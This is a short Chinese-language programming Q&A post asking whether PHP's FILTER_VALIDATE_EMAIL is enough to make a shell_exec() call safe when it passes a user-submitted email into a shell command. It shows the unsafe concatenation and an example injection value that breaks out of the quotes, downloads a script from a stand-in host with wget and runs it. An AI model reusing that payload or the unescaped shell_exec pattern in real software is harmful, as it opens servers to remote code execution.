【发布时间】:2015-06-12 19:24:50
【问题描述】:
所以我打算使用shell_exec() 来处理运行发送电子邮件的 php 脚本。
一切都很好,但我只是有点担心只使用FILTER_VALIDATE_EMAIL 来确保不会发生注入的安全隐患。
因此,例如,我将使用与此类似的东西:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
所以,显然没有验证,我可以提交我的电子邮件,如下所示:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
所有的地狱都可能破裂......
这是 100% 的注入证明(我们知道)还是我应该添加其他内容?
【问题讨论】:
标签: php code-injection shell-exec